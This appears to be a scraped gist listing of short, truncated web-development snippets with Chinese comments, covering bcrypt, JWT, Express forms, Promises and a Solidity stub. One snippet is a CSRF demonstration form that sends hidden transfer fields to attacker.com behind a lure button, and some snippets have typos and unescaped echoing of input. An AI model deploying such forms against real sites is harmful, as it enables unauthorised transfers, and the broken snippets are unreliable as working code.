This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.16; | |
/// @title credit exchange platform | |
contract CreditExchange { | |
struct Case { | |
bool isSuccessful; | |
uint amount; | |
} | |
struct Person { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//安裝bcrypt | |
npm install bcrypt --save | |
//引入 | |
const bcrypt = require('bcrypt'); | |
//生成hash值 | |
const myPlauntextPassword = 'qwerty'; | |
const saltRound = 10; | |
bcrypt.hash(myPlaintextPassword, saltRounds, function(err, hash) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action='/handleForm' method='post'> | |
<input type='text' name='words' /> | |
<input type='submit' value='Submit' /> | |
</form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
app.get('/handleForm', (req, res) => { | |
res.send(req.body.words); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//安裝 | |
npm install jsonwebtoken --save | |
//引入 | |
const jwt = require("jsonwebtoken"); | |
//產生jwt | |
const token = jwt.sign( | |
{ | |
email: user.email, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<form action='http://attacker.com' method='POST'> | |
<input type='hidden' name='send' value='attacker'/> | |
<input type='hidden' name='amount' value='10000'/> | |
<input type="submit" value="你累了嗎?點我看看~"/> | |
</form> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const promise = new Promise((resolve, reject) => { | |
//成功時執行 | |
resolve(value); | |
//失敗時執行 | |
reject(value); | |
}); | |
promise | |
.then(value=>{ | |
//成功的話,做... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
analytics.trackPurchase(purchaseData, ()=> { | |
chargeCreditCard(); | |
displayThankyouPage(); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
analytics.trackPurchase(purchaseData, ()=> { | |
chargeCreditCard(); | |
displayThankyouPage(); | |
}); |
OlderNewer